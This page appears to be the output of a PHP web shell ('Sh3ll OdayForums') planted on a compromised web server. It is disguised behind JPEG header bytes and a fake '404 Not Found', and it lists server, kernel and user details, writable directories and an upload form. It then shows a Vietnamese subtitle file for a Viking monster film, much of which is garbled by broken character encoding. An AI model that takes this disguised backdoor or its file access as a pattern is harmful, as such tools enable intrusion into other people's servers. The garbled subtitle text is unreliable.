ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c8fec6100b1f-1552936033.vtt
WEBVTT - https://subtitletools.com

00:00:26.000 --> 00:00:34.000
Kẻ Từ Nơi Khác

00:00:34.001 --> 00:00:44.001
Dịch sub bởi HoangLonghs
subteam gamevn

00:00:45.000 --> 00:00:50.000
Sub phù hợp cho bản aXXo và FxM

00:01:18.000 --> 00:01:22.000
NA-UY  : năm 709

00:04:21.000 --> 00:04:26.000
Hành tinh : Trái Äất  Thá»i kỳ : Äồ sắt

00:04:27.000 --> 00:04:30.000
Tìm tàu vũ trụ

00:04:34.001 --> 00:04:37.000
Không tìm thấy

00:04:40.000 --> 00:04:45.000
Ngôn ngữ sử dụng : Tiếng Na-uy

00:05:38.842 --> 00:05:39.842
Chết tiệt

00:05:43.653 --> 00:05:44.551
vũ khí

00:09:55.037 --> 00:09:56.117
Äến lúc rồi
Freya.

00:09:56.338 --> 00:09:58.033
Con đã nói với cha rồi

00:09:58.174 --> 00:10:00.267
Con từ chối !

00:10:00.409 --> 00:10:05.471
Wulfric sẽ là một vị vua tốt
nếu có con ở bên cạnh giúp anh ta

00:10:07.083 --> 00:10:09.847
Hắn chỉ trở thành bạỠchúa như cha hắn thôi

00:10:09.985 --> 00:10:11.543
Con không lấy hắn !

00:10:21.030 --> 00:10:22.793
Nếu vậy con nên chá»n lấy ngưá»i khác...

00:10:22.932 --> 00:10:25.093
...trước khi cậu ta lên ngôi
vì lúc đó đã quá muộn để từ chối

00:10:25.234 --> 00:10:27.634
Vậy đừng để anh ta lên ngôi

00:10:35.077 --> 00:10:36.773
- Äể ta xem nào !
- Con không sao .

00:10:36.812 --> 00:10:38.302
Äể ta xem

00:10:49.158 --> 00:10:51.023
Con không còn trẻ nữa , Freya.

00:10:52.027 --> 00:10:54.962
ta chỉ muốn con canh chừng anh ta

00:10:55.331 --> 00:10:56.730
Sau khi ta mất

00:10:58.134 --> 00:11:00.329
Con biết mà cha

00:11:00.469 --> 00:11:01.731
Và

00:11:02.238 --> 00:11:04.934
Nếu ai đó có thể chế ngự được bản tính của  Wulfric

00:11:05.908 --> 00:11:09.741
Thì đó chỉ có thể là "Con"

00:11:15.785 --> 00:11:20.415
Tôi cai trị Herot và để Freya Ä‘iá»u khiển ta sao

00:11:22.658 --> 00:11:24.148
Tôi không nghĩ vậy

00:11:25.761 --> 00:11:29.791
Không có nữ hoàng nào của tôi
lại biết chiến đấu như má»™t ngưá»i đàn ông

00:11:35.070 --> 00:11:36.901
Tôi sẽ trông chừng cô

00:11:41.210 --> 00:11:43.604
Con bé giống hệt mẹ nó

00:11:44.113 --> 00:11:47.175
cậu nên đối xử với nó dịu dàng hơn

00:11:47.750 --> 00:11:49.547
Cô ta chẳng dịu dàng tý nào cả

00:11:52.555 --> 00:11:55.154
Làng của Gunnar vừa bị tàn phá

00:11:55.558 --> 00:11:56.786
Äã xảy ra chuyện gì ?

00:11:58.227 --> 00:11:59.216
Tôi không biết.

00:11:59.361 --> 00:12:01.158
Chẳng có cái xác nào cả , chẳng còn ai .

00:12:03.332 --> 00:12:04.629
Sót lại gì không ?

00:12:05.267 --> 00:12:06.598
Rất nhiá»u máu

00:12:07.736 --> 00:12:09.203
Gunnar thì sao ?

00:12:09.438 --> 00:12:11.406
ông ta vẫn Ä‘ang giao thương vá»›i ngưá»i Nga

00:12:11.540 --> 00:12:13.337
Có lẽ sẽ trở vỠtrước khi tuyết rơi

00:12:14.810 --> 00:12:16.539
Hắn lại nghĩ chúng ta làm

00:12:18.047 --> 00:12:19.537
Chuyện đó không nên như thế .

00:12:19.748 --> 00:12:21.147
Chuyện gì ?

00:12:25.888 --> 00:12:27.515
Không có gì

00:12:27.656 --> 00:12:29.920
Chúng ta vừa bắt được má»™t ngưá»i trong rừng .

00:12:30.125 --> 00:12:32.190
Má»™t ngưá»i cá»§a chúng ta ?

00:12:33.863 --> 00:12:37.023
Anh ta thuộc bộ tộc nào ?
Frankish ? ngưá»i Nga ? ngưá»i cá»§a chúng ta

00:12:37.066 --> 00:12:40.001
Tôi không biết nhưng sẽ tìm hiểu

00:12:40.269 --> 00:12:42.593
vậy làm nhanh lên

00:12:44.373 --> 00:12:46.034
Nếu không sẽ có chiến tranh .

00:12:57.887 --> 00:12:59.514
Tôi sẽ giữ chúng

00:13:15.938 --> 00:13:17.030
ÄÆ°a hắn vào

00:13:23.178 --> 00:13:24.668
Mày là ai , thằng nước ngoài kia?

00:13:25.781 --> 00:13:27.408
anh bạn trả lá»i Ä‘i

00:13:27.883 --> 00:13:28.747
Tên của mày !

00:13:28.884 --> 00:13:34.720
tên tôi là  Kainan.

00:13:34.857 --> 00:13:37.587
Kainan ?
tên đó có ý nghĩa gì chứ ?

00:13:37.726 --> 00:13:39.216
mày từ đâu đến ?

00:13:39.962 --> 00:13:42.522
Một hòn đảo ở phía Bắc

00:13:42.665 --> 00:13:44.257
tại sao mày lại tấn công làng của Gunnar ?

00:13:44.400 --> 00:13:45.560
Tôi không tấn công ai cả

00:13:45.701 --> 00:13:46.793
Thế sao mày đến được đây

00:13:46.936 --> 00:13:47.834
Tôi đi săn

00:13:47.970 --> 00:13:48.766
Äi săn ?

00:13:48.904 --> 00:13:49.928
Săn con gì ?

00:13:50.072 --> 00:13:51.369
Con kia

00:13:56.178 --> 00:13:57.338
săn Rồng ?

00:14:04.086 --> 00:14:05.144
Nói đi ! sao mày đến được?

00:14:05.287 --> 00:14:06.549
Ngưá»i cá»§a mày ở đâu ?

00:14:06.689 --> 00:14:07.621
Tao nói rồi

00:14:09.758 --> 00:14:11.225
Äừng nói dối tao

00:14:12.161 --> 00:14:15.528
cầm một que củi đi săn rồng ,
để cho tao một con

00:14:17.433 --> 00:14:18.627
Thôi được

00:14:18.767 --> 00:14:20.234
Tao nói ...

00:14:21.303 --> 00:14:26.033
Tôi đi săn...

00:14:26.034 --> 00:14:28.334
Rồng

00:14:42.491 --> 00:14:45.049
chưa săn được đâu

00:15:24.933 --> 00:15:26.161
Tên tù bị thương

00:15:27.102 --> 00:15:28.797
Nhìn mặt anh là biết

00:15:30.606 --> 00:15:32.164
Tôi cần cô chăm sóc  hắn

00:15:33.342 --> 00:15:38.372
Tôi có việc phải làm .
Tá»± Ä‘i mà dá»n đống lá»™n xá»™n anh gây ra

00:15:42.317 --> 00:15:44.848
Xuống địa ngục với ý nghĩ đó nhé

00:15:45.287 --> 00:15:46.845
Cô nghĩ hắn đáng chết mà

00:16:51.086 --> 00:16:52.144
Bjorn!

00:16:52.988 --> 00:16:54.250
Anh ta cần chăm sóc

00:16:59.628 --> 00:17:00.959
Äể tôi qua

00:17:08.036 --> 00:17:10.095
Äá»§ rồi !
tránh ra

00:17:50.112 --> 00:17:51.602
hắn có nói gì không ?

00:17:51.914 --> 00:17:53.176
Chẳng có gì

00:17:53.549 --> 00:17:55.380
Vài Ä‘iá»u nhảm nhí vá» con rồng

00:17:57.786 --> 00:18:00.051
tôi chắc hắn đang dấu diếm chuyện gì đó

00:18:00.956 --> 00:18:02.355
Giữ hắn lại

00:18:03.258 --> 00:18:05.055
Tôi đã sai kỵ binh đi tìm Gunnar.

00:18:05.194 --> 00:18:07.560
Ông ta cần biết không phải chúng ta làm

00:18:07.696 --> 00:18:10.256
Hắn sẽ không tin đâu .
Nhất là khi thấy bộ lạc của hắn

00:18:10.966 --> 00:18:13.093
Chúng ta nên giết hắn khi vẫn còn cơ hội

00:18:13.402 --> 00:18:15.267
Như Ä‘iá»u cha cậu sẽ làm ư ?

00:18:15.272 --> 00:18:17.898
Ông ấy biết Ä‘iá»u đó là đúng ?
Gunnar đã giết cha tôi

00:18:18.040 --> 00:18:20.634
Cha cậu chết vì ông ấy quá ngu xuẩn

00:18:32.888 --> 00:18:34.947
Cậu muốn giết Gunnar.

00:18:36.391 --> 00:18:38.086
Tôi hiểu

00:18:38.927 --> 00:18:40.622
Cậu muốn cai trị vùng này

00:18:40.762 --> 00:18:42.730
Tôi cũng hiểu tại sao

00:18:43.932 --> 00:18:49.599
Nhưng thanh kiếm và tấm khiên
không biến cậu trở thành vủa của chúng ta

00:18:49.671 --> 00:18:53.835
mà bằng con tim và cái đầu của cậu .

00:18:55.310 --> 00:19:01.340
cho đến khi cậu hiểu ra .
cậu sẽ không được đeo nó

00:19:27.943 --> 00:19:29.103
Tôi cần uống nước

00:19:31.179 --> 00:19:32.407
Xin cô

00:19:52.501 --> 00:19:53.593
Cám ơn

00:19:57.439 --> 00:19:58.872
Anh có làm Ä‘iá»u há» nói không ?

00:19:59.541 --> 00:20:01.441
Tấn công làng của Gunnar'?

00:20:03.545 --> 00:20:04.773
Không

00:20:19.194 --> 00:20:20.092
Bjorn!

00:21:00.001 --> 00:21:01.161
Bén rồi đấy

00:21:02.571 --> 00:21:04.061
Chẳng bao giỠđủ bén cả

00:21:05.207 --> 00:21:09.404
nếu Gunnar  tấn công tối nay ,
khi hắn đâm thanh kiếm vào ngực anh

00:21:09.444 --> 00:21:11.412
anh sẽ ước nó không bén thế .

00:21:31.833 --> 00:21:33.027
Mùi gì vậy ?

00:21:42.644 --> 00:21:43.941
ARS ?

00:22:27.055 --> 00:22:28.215
Lính gác chết rôi !

00:22:28.356 --> 00:22:30.916
Gunnar đấy !
trèo lên thành mau !

00:22:45.340 --> 00:22:46.602
HỠở đâu ?!

00:22:48.743 --> 00:22:49.505
Bá»n kỵ binh phải không ?

00:22:49.644 --> 00:22:51.305
ÄÆ°a kiếm cho ta !

00:22:59.855 --> 00:23:00.719
Nó vào trong thành rồi

00:23:00.856 --> 00:23:02.255
lấy ngưá»i cá»§a cậu Ä‘i tìm Ä‘i !

00:23:02.390 --> 00:23:03.948
đi theo tôi

00:23:41.496 --> 00:23:42.827
Gunnar!

00:25:09.117 --> 00:25:10.641
Moorwen!

00:25:34.209 --> 00:25:35.039
Tránh ra mau !

00:25:35.176 --> 00:25:36.404
Lôi hắn ra khá»i đây

00:25:37.746 --> 00:25:38.713
Gunnar ở đâu?

00:25:38.847 --> 00:25:40.075
Tôi không biết

00:25:51.760 --> 00:25:53.990
Cái gì có thể gây ra chuyện này ?

00:28:01.356 --> 00:28:03.984
này , đứng lên !
hắn là quái vật đấy

00:28:04.125 --> 00:28:07.659
Chúng mang bệnh tật đến chỗ chúng ta
và để chúng ta chết cóng .

00:28:08.096 --> 00:28:10.860
Quá đủ với linh hồn thần rừng rồi , Unferth.

00:28:12.801 --> 00:28:14.962
Äó chắc chắn là kỵ binh cá»§a  Frankish

00:28:16.738 --> 00:28:17.568
Bá»n chúng đã leo qua tưá»ng

00:28:17.705 --> 00:28:19.036
sau đó thì sao , Boromir?

00:28:19.174 --> 00:28:20.141
Chúng ta đã kiểm tra xác của  Bjorn

00:28:20.275 --> 00:28:21.674
anh ta bị cào đến chết

00:28:21.810 --> 00:28:23.573
Nó là một con thú
Không !

00:28:23.711 --> 00:28:25.440
Äó là sá»± trả thù cá»§a Lucifer!

00:28:25.580 --> 00:28:30.341
ông ta làm Ä‘iá»u đó vì ANH đã chôn vua Halga
như má»™t ngưá»i theo tà giáo chứ không phải đạo cÆ¡ đốc

00:28:30.485 --> 00:28:31.543
Cha tôi là má»™t ngưá»i  Viking.

00:28:31.686 --> 00:28:34.951
ông tôn thỠOdin chứ không tôn thỠmột hình chữ thập

00:28:35.190 --> 00:28:38.724
Tôi sẽ chịu phạt nếu nó
không phải hành động của một con gấu

00:28:45.700 --> 00:28:49.761
Äầu tiên là Gunnar,giỠđến chúng ta

00:28:51.172 --> 00:28:54.335
3 ngưá»i mất tích
5 ngưá»i chết

00:28:55.577 --> 00:28:58.377
Có lẽ Odin đã giữ hỠrồi

00:29:06.487 --> 00:29:10.821
Vì vậy hãy nói với ta vỠcon rồng của anh ?

00:29:13.294 --> 00:29:15.159
Ngưá»i cá»§a tôi gá»i nó là con Moorwen.

00:29:16.197 --> 00:29:17.494
Má»™t con Moorwen?

00:29:18.266 --> 00:29:20.632
Chưa từng nghe tên con nào như vậy ?

00:29:21.936 --> 00:29:23.130
Tin tôi đi

00:29:23.271 --> 00:29:24.499
Lần đầu tôi thấy một con

00:29:24.639 --> 00:29:26.630
Tôi cũng không biết đang nhìn cái gì

00:29:28.576 --> 00:29:31.101
Nó chỉ là một vệt sáng trong bóng tối

00:29:32.080 --> 00:29:33.672
Nó có thể là bất kỳ con gì

00:29:34.916 --> 00:29:38.352
Cơ thể nó có vân rực sáng , như lửa

00:29:40.154 --> 00:29:42.219
cáo lửa ( Foxfire )

00:29:41.756 --> 00:29:45.783
Nó giết ngưá»i , dã thú , giết  má»i thứ .

00:29:46.794 --> 00:29:49.024
Với hơi thở chết chóc

00:29:49.564 --> 00:29:50.724
ở đây chẳng có con nào như vậy

00:29:50.865 --> 00:29:52.594
đúng

00:29:53.735 --> 00:29:55.430
Bởi vì tôi mang nó đến đây

00:29:58.306 --> 00:29:59.534
Yên nào !

00:30:00.875 --> 00:30:02.206
Thả hắn ra

00:30:03.645 --> 00:30:04.839
Äến đây

00:30:11.586 --> 00:30:14.214
Ngươi nói chịu trách nhiệm cho chuyện này

00:30:14.355 --> 00:30:15.652
Vâng

00:30:16.090 --> 00:30:18.081
Nó ở trên thuyá»n cá»§a tôi ,
nó giết hết ngưá»i cá»§a tôi

00:30:18.226 --> 00:30:19.818
Sau đó chúng tôi dạt đến đây

00:30:20.261 --> 00:30:22.229
Tôi biết ông không tin tôi

00:30:22.363 --> 00:30:25.730
but this thing has carved out
a territory and you are in it.

00:30:32.507 --> 00:30:36.568
Ngưá»i nghÄ© có thể lừa chúng ta bằng câu chuyện trẻ con đó .

00:30:36.711 --> 00:30:38.542
Nó không phải câu chuyện

00:30:40.281 --> 00:30:45.381
Nhưng cho dù ông nghĩ nó là gì
ông cũng phải đi giết nó , đúng không ?

00:30:48.990 --> 00:30:50.423
Tôi sẽ đi cùng ông

00:30:54.696 --> 00:30:56.357
làm sao tôi giúp được nếu bị trói ?

00:30:56.497 --> 00:30:57.862
mày không phải làm thế .

00:30:58.599 --> 00:30:59.998
cầm lấy ngựa của mày

00:31:02.070 --> 00:31:03.196
Tôi phải làm gì với nó ?

00:31:03.338 --> 00:31:04.703
này , làm gì đây ?

00:31:04.839 --> 00:31:06.204
Này kẻ lạ mặt

00:31:16.985 --> 00:31:19.453
đủ rồi !
lên ngựa

00:31:58.259 --> 00:31:59.624
hàm thế nào rôi ?

00:32:01.729 --> 00:32:02.923
Quai hàm của cậu !

00:32:03.264 --> 00:32:04.492
Freya?

00:32:06.834 --> 00:32:08.927
này , thử uống đi

00:32:09.404 --> 00:32:13.773
Chữa được bất kỳ thứ gì
từ vết kiếm chém đến thất tình

00:32:15.309 --> 00:32:17.300
Cậu không cảm thấy quá tệ chứ ?

00:32:18.046 --> 00:32:19.240
Thấy không ?

00:32:19.380 --> 00:32:21.848
Cô ta đâm tôi bằng một con dao

00:32:22.083 --> 00:32:26.050
Như tôi chẳng có hỠhàng gì với cô ta
khi tôi uống say vậy

00:32:26.154 --> 00:32:28.918
Thôi ! uống đi

00:32:37.165 --> 00:32:38.359
Ngon chứ ?

00:32:40.501 --> 00:32:41.092
Cái gì thế ?

00:32:41.235 --> 00:32:42.463
Cái gì thế ?

00:32:42.603 --> 00:32:44.503
Thứ nước ở chỗ cậu bị bắt đấy ?

00:32:44.639 --> 00:32:46.129
từ đây đến đó quá xa .

00:32:46.274 --> 00:32:47.172
Chắc chắn rồi

00:32:47.308 --> 00:32:51.301
Quá xa và tệ cho thức ăn cá»§a ngưá»i Herot

00:32:56.884 --> 00:32:59.045
Boromir rất thích thứ nước của cậu ta

00:33:00.488 --> 00:33:02.217
ngươi biết không , kẻ lạ mặt

00:33:02.590 --> 00:33:06.321
Chúng tôi giao thương vá»›i má»i nÆ¡i cách xa cả nghìn dặm

00:33:07.061 --> 00:33:11.794
Hướng Äông , Nam , Tây .... trừ hướng Bắc

00:33:13.201 --> 00:33:14.668
Chẳng có ai ở đó

00:33:14.869 --> 00:33:16.393
Có lẽ ông chưa tìm đủ

00:33:16.537 --> 00:33:18.129
Có lẽ vậy

00:33:18.573 --> 00:33:23.169
Nhưng sao má»™t ngưá»i từ phương Bắc xa xôi
lại gặp nạn ở chỗ này ?

00:33:23.744 --> 00:33:25.507
Chúng tôi đóng quân gần đây

00:33:25.713 --> 00:33:29.809
đó là nÆ¡i con Moorwen trốn khá»i tàu cá»§a các ngưá»i ?

00:33:33.855 --> 00:33:34.947
Vâng

00:33:35.456 --> 00:33:39.156
Việc con thú đó làm với bộ lạc của ông
cũng đã làm với dân tộc tôi

00:33:39.360 --> 00:33:44.424
Tôi đang đi chôn những cái xác .
Thì nó chui lên tàu.

00:33:48.236 --> 00:33:49.396
Dừng lại !

00:34:04.652 --> 00:34:06.210
Con gấu Ä‘i đưá»ng này

00:34:07.054 --> 00:34:09.022
Con vật đã từng đi qua đây

00:34:09.857 --> 00:34:14.748
Chúng ta nên tách ra nhiá»u hướng để tìm thêm dấu vết .
đó là một ý tưởng tồi

00:34:14.862 --> 00:34:16.352
Chúng ta lên đi cùng nhau

00:34:17.498 --> 00:34:18.829
Chúng ta sẽ đi theo cặp .

00:34:18.966 --> 00:34:22.402
Wulfric,con cặp với hắn

00:36:32.266 --> 00:36:33.756
Một con gấu không thể làm chuyện này

00:36:54.355 --> 00:36:55.617
nó ở đây

00:37:09.503 --> 00:37:11.130
Wulfric! chỠđã !

00:38:07.061 --> 00:38:08.653
Chỉ là một con gấu

00:38:19.073 --> 00:38:20.267
Kẻ lạ mặt !

00:38:24.945 --> 00:38:26.242
Cầm lấy kiếm

00:38:27.248 --> 00:38:28.510
và cả cuá»™c sống cá»§a ngưá»i nữa

00:38:29.784 --> 00:38:31.217
Ngưá»i có lại nó rồi

00:38:44.565 --> 00:38:51.437
Wulfric! Wulfric!

00:39:42.756 --> 00:39:45.418
Kainan!

00:39:45.559 --> 00:39:50.019
Kainan! Kainan!

00:40:04.712 --> 00:40:05.679
Ngồi xuống !

00:40:05.813 --> 00:40:07.906
Tối nay ngươi là khách của ta

00:40:08.582 --> 00:40:12.245
Con gái ! mang rượu cho anh ta

00:40:14.288 --> 00:40:18.156
Giá» ngưá»i nhìn như má»™t ngưá»i  Viking rồi

00:40:18.292 --> 00:40:19.725
Phải không , Freya?

00:40:23.831 --> 00:40:25.196
Chắc vậy

00:40:28.869 --> 00:40:31.360
Không ai nấu ăn ngon hơn nhà bếp của ta

00:40:32.206 --> 00:40:33.673
Ăn đi!

00:40:34.108 --> 00:40:39.171
Tôi đã ở đó, đang chạy thẳng vào hang
trước mặt má»i ngưá»i ...

00:40:39.380 --> 00:40:42.679
Thì đột nhiên , từ đâu đó xuất hiện một con vật rất lớn

00:40:42.816 --> 00:40:47.344
Lớn hơn con gấu to nhất tôi từng thấy

00:40:47.488 --> 00:40:52.554
Nó vồ lấy 2 ngưá»i và Ä‘ang chuẩn bị ăn thịt nhà vua

00:40:52.660 --> 00:40:56.058
Thì "kẻ lạ mặt " xông lên dùng kiếm đâm nó

00:40:56.230 --> 00:40:59.358
Rồi con gấu nằm ở đó

00:40:59.500 --> 00:41:01.832
Nằm ở đó .

00:41:01.969 --> 00:41:06.406
vua  Rothgar cũng........Cũng  ở đó  .

00:41:06.941 --> 00:41:09.739
Gì thế này .........?

00:41:12.179 --> 00:41:16.275
Má»™t vị khách không má»i ở Shield Hall .

00:41:16.417 --> 00:41:17.441
Äi chÆ¡i di !

00:41:17.585 --> 00:41:18.745
Khoan

00:41:18.886 --> 00:41:20.513
Tên em là gì?

00:41:22.189 --> 00:41:23.816
trả lá»i anh ta Ä‘i nhóc

00:41:26.493 --> 00:41:29.053
đây , em đói không ?

00:41:36.604 --> 00:41:40.370
thằng bé muốn xem thanh kiếm đã giết con gấu

00:41:48.983 --> 00:41:50.143
Không

00:41:50.551 --> 00:41:53.714
Tao trao đổi nó để biết tên em

00:42:00.027 --> 00:42:01.426
Eric.

00:42:02.896 --> 00:42:04.329
Eric.

00:42:07.034 --> 00:42:10.834
một thanh kiếm cho một cái tên

00:42:17.144 --> 00:42:19.806
Nhớ mang trả đấy nhá .

00:42:23.117 --> 00:42:25.813
Cha mẹ nó đã bị bá»n kỹ binh giết 2 năm trước

00:42:28.555 --> 00:42:29.920
thằng bé ổn rồi

00:42:30.557 --> 00:42:32.548
ở đây chúng tôi chăm sóc nó

00:42:35.429 --> 00:42:38.990
Khiên !

00:42:42.202 --> 00:42:44.102
Khiên !

00:42:44.738 --> 00:42:46.535
Khiên !

00:42:49.243 --> 00:42:54.613
Khiên !Khiên !Khiên !

00:43:14.902 --> 00:43:16.062
Ngươi

00:43:20.474 --> 00:43:21.406
Kainan!

00:43:21.542 --> 00:43:22.873
Ngươi

00:43:23.010 --> 00:43:31.110
Kainan! Kainan! Kainan!

00:43:44.998 --> 00:43:46.124
Lên đi

00:43:52.639 --> 00:43:55.335
Kainan! Kainan!

00:44:04.451 --> 00:44:05.543
GiỠthì sao ?

00:44:05.686 --> 00:44:07.017
đi theo tôi

00:45:02.476 --> 00:45:03.909
kẻ lạ mặt đi tốt đấy

00:45:04.044 --> 00:45:07.404
Có muốn đánh cược vài đồng vàng cho anh ta không ?

00:45:07.481 --> 00:45:09.813
không ai thắng được Wulfric trò này.

00:45:23.130 --> 00:45:24.290
Kainan!

00:45:41.181 --> 00:45:42.409
mày làm được thế này không ?

00:46:00.367 --> 00:46:01.595
chết tiệt

00:46:02.069 --> 00:46:03.661
Ông sẵn sàng chưa, Boromir?

00:46:14.681 --> 00:46:15.807
Rồi đấy

00:46:17.784 --> 00:46:18.716
Ok

00:46:57.624 --> 00:46:58.852
Không tồi

00:47:48.075 --> 00:47:49.269
Xin lá»—i

00:47:57.551 --> 00:47:58.347
Kẻ lạ mặt, Tôi muốn...

00:47:58.485 --> 00:47:59.747
Kainan.

00:47:59.886 --> 00:48:01.353
Tên tôi là  Kainan.

00:48:01.855 --> 00:48:03.220
Kainan,

00:48:03.790 --> 00:48:05.849
Tôi muốn cám ơn anh đã đưa cha tôi trở vỠan toàn

00:48:05.993 --> 00:48:07.824
và cứu mạng ông ấy

00:48:11.932 --> 00:48:16.028
CHuyện xảy ra quá nhanh
tôi không kịp suy nghĩ

00:48:16.937 --> 00:48:18.404
Như khi anh đánh tôi ?

00:48:19.006 --> 00:48:20.496
đánh cô?

00:48:22.709 --> 00:48:24.404
vâng , xin lỗi cô vỠchuyện đó

00:48:24.811 --> 00:48:26.210
cả 2 cùng có lỗi mà

00:48:38.258 --> 00:48:39.919
tất cả phụ nữ Ä‘á»u nói vá» anh

00:48:42.496 --> 00:48:46.296
HỠnói anh đến từ một nơi rất xa ngoài biển

00:48:48.001 --> 00:48:51.027
Má»™t ngưá»i còn nói nÆ¡i đó là nhà cá»§a chúa.

00:48:52.506 --> 00:48:53.996
Cô nghĩ sao ?

00:48:55.675 --> 00:48:57.302
Tôi nghĩ rằng ....

00:48:58.445 --> 00:49:00.436
Cô ấy uống hÆ¡i nhiá»u

00:49:07.154 --> 00:49:08.621
Freya!

00:49:09.756 --> 00:49:12.418
Má»i ngưá»i nghÄ© con gấu đã giết há»

00:49:13.260 --> 00:49:14.591
Không phải

00:49:15.262 --> 00:49:17.526
Moorwen đã giết hỠvà nó còn quay lại

00:49:33.480 --> 00:49:34.572
Gá»i má»i ngưá»i

00:49:36.283 --> 00:49:37.545
Ngưá»i Gunnar tấn công !

00:50:25.432 --> 00:50:26.626
ra khá»i đây !

00:50:27.234 --> 00:50:28.565
ra khá»i đây !

00:50:30.570 --> 00:50:31.901
ra khá»i đây mau !

00:51:18.451 --> 00:51:20.043
Rothgar!

00:51:48.848 --> 00:51:50.907
Kết thúc rồi , ta thua rồi

00:51:51.051 --> 00:51:52.143
không !

00:51:53.853 --> 00:51:54.649
Thả ta ra

00:51:54.788 --> 00:51:56.312
bá» tay các ngưá»i ra

00:51:57.891 --> 00:51:59.119
Rothgar!

00:52:03.063 --> 00:52:05.190
đóng cổng lại

00:52:13.073 --> 00:52:14.438
Rothgar!

00:52:16.042 --> 00:52:18.806
Mày ở đâu đồ  con hoang kia ?

00:52:23.783 --> 00:52:25.148
Vợ tao đâu ?

00:52:26.953 --> 00:52:28.614
Con trai tao dâu ?

00:52:30.624 --> 00:52:33.320
Mày còn không bỠlại xác của hỠ.

00:52:37.631 --> 00:52:40.697
Dù có mất một ngàn năm ...

00:52:40.098 --> 00:52:44.698
tao cÅ©ng quyết moi tim mày khá»i lồng ngá»±c

00:52:48.375 --> 00:52:50.104
Nghe chưa hả ?

00:53:05.058 --> 00:53:07.151
đây là ngưá»i ông muốn chung sống hòa bình ư ?

00:54:35.348 --> 00:54:36.679
Cô ổn chứ ?

00:54:38.284 --> 00:54:39.444
Tôi ổn

00:54:43.056 --> 00:54:44.216
Vết cắt sâu quá

00:54:45.658 --> 00:54:46.920
để tôi lau cho

00:54:58.571 --> 00:54:59.868
Có chuyện gì ngoài đó vậy ?

00:55:00.273 --> 00:55:01.604
Mấy tên đó là ai ?

00:55:01.808 --> 00:55:02.934
đó là  Gunnar.

00:55:03.343 --> 00:55:04.742
Gunnar?

00:55:05.078 --> 00:55:07.876
Vua Halga, cha cá»§a Wulfric ....

00:55:08.481 --> 00:55:11.450
...kêu gá»i tất cả các bá»™ lạc tấn công bá»™ tá»™c Franks

00:55:11.751 --> 00:55:13.241
Nhưng Gunnar không xuất hiện .

00:55:13.386 --> 00:55:15.911
sau đó hỠđã phục kích và giết Halga .

00:55:17.457 --> 00:55:19.857
Nên Wulfric nghi ngá»
Gunnar đã phản bội cha anh ta

00:55:21.394 --> 00:55:24.659
Còn Gunnar nghĩ ông ta bị chúng ta trả thù .

00:55:26.065 --> 00:55:27.498
đúng vậy

00:55:28.501 --> 00:55:30.833
Wulfric cũng có đầu óc đơn giản như cha hắn vậy

00:55:31.905 --> 00:55:34.931
hắn ta sẽ Ä‘iá»u má»™t nhóm quân phục sẵn trên cây lúc gần sáng

00:55:35.508 --> 00:55:38.068
Rồi sau đó chúng sẽ tấn công ta lúc sáng sớm

00:55:43.683 --> 00:55:45.617
ta sẽ cho hắn một ngạc nhiên lớn

00:56:25.892 --> 00:56:27.416
Gunnar nói chỠở dây

00:57:10.370 --> 00:57:11.359
Aethril?

00:57:17.477 --> 00:57:19.707
đứng thành vòng tròn !

00:57:24.551 --> 00:57:26.712
Gá»i Wulfric và Rothgar lên đây ngay !

00:57:32.659 --> 00:57:33.785
Chuyện gì vậy ?

00:57:37.997 --> 00:57:39.362
Wulfric!

00:57:51.077 --> 00:57:52.510
khoan ! đừng bắn

00:57:52.645 --> 00:57:54.704
đừng bắn ,chúng tôi đầu hàng

00:57:54.847 --> 00:57:56.041
Nó lừa đấy

00:57:56.282 --> 00:57:57.840
Cung thá»§ !

00:58:00.453 --> 00:58:01.647
Sẵn sàng!

00:58:06.626 --> 00:58:07.615
Bắn!

00:58:07.760 --> 00:58:08.954
Khoan !

00:58:12.932 --> 00:58:14.365
Äừng bắn , thằng ngu !

00:58:14.500 --> 00:58:15.592
Khoan !

00:58:25.745 --> 00:58:26.837
Không !

00:58:30.883 --> 00:58:32.145
Mở cổng thành !

00:58:36.656 --> 00:58:37.987
Wulfric! Không

00:58:38.925 --> 00:58:40.187
Nhìn kìa

00:59:03.149 --> 00:59:06.448
GiỠchẳng có con gấu nào cả

00:59:13.192 --> 00:59:14.955
Da nó cứng như má»™t bức tưá»ng đá vậy

00:59:15.094 --> 00:59:16.152
tôi đánh nó bằng má»i thứ có thể

00:59:16.295 --> 00:59:18.092
bá» chạy  , như Ä‘iá»u ông từng làm vá»›i cha tôi .

00:59:18.231 --> 00:59:20.296
Tao cắt lưỡi mày đấy thằng ranh con
Ngừng lại !

00:59:20.233 --> 00:59:21.564
Cả 2 ngươi

00:59:21.701 --> 00:59:23.862
Thứ đó vẫn còn ở ngoài kia

00:59:24.003 --> 00:59:25.368
Chúa trá»i Ä‘ang nguyá»n rá»§a chúng ta

00:59:25.505 --> 00:59:27.029
Cúng ta phải rá»i khá»i đây trong lúc còn bảo vệ được gia đình

00:59:27.173 --> 00:59:28.037
đây là gia đình của tôi

00:59:28.174 --> 00:59:30.039
Chúng ta không đi đâu cả mà sẽ đuổi còn quái vật đó

00:59:30.176 --> 00:59:31.404
Cô ấy đúng ! chúng ta không đi đâu cả

00:59:31.544 --> 00:59:34.104
Chúng ta sẽ săn đuổi nó và giết nó ,
như má»™t ngưá»i Vikings.

00:59:34.247 --> 00:59:35.805
Săn đuổi nó không được đâu

00:59:40.286 --> 00:59:42.015
Nó sẽ không bao giỠđể bị săn

00:59:42.155 --> 00:59:43.019
Nó quá mạnh

00:59:43.156 --> 00:59:44.418
Vậy ngươi có ý gì khác ?

00:59:44.557 --> 00:59:45.990
Chúng ta bẫy nó .

00:59:47.894 --> 00:59:49.862
Dù anh có săn được nó ,

00:59:50.096 --> 00:59:51.825
Anh giết nó bằng cách nào ?

00:59:52.131 --> 00:59:54.326
Tại sao phải nghe lá»i anh ta ?
anh ta không phải ngưá»i cá»§a chúng ta .

00:59:54.467 --> 00:59:55.866
đúng , tôi không phải .

00:59:56.002 --> 00:59:57.663
Nhưng anh đang sai lầm , Wulfric.

00:59:57.804 --> 01:00:00.500
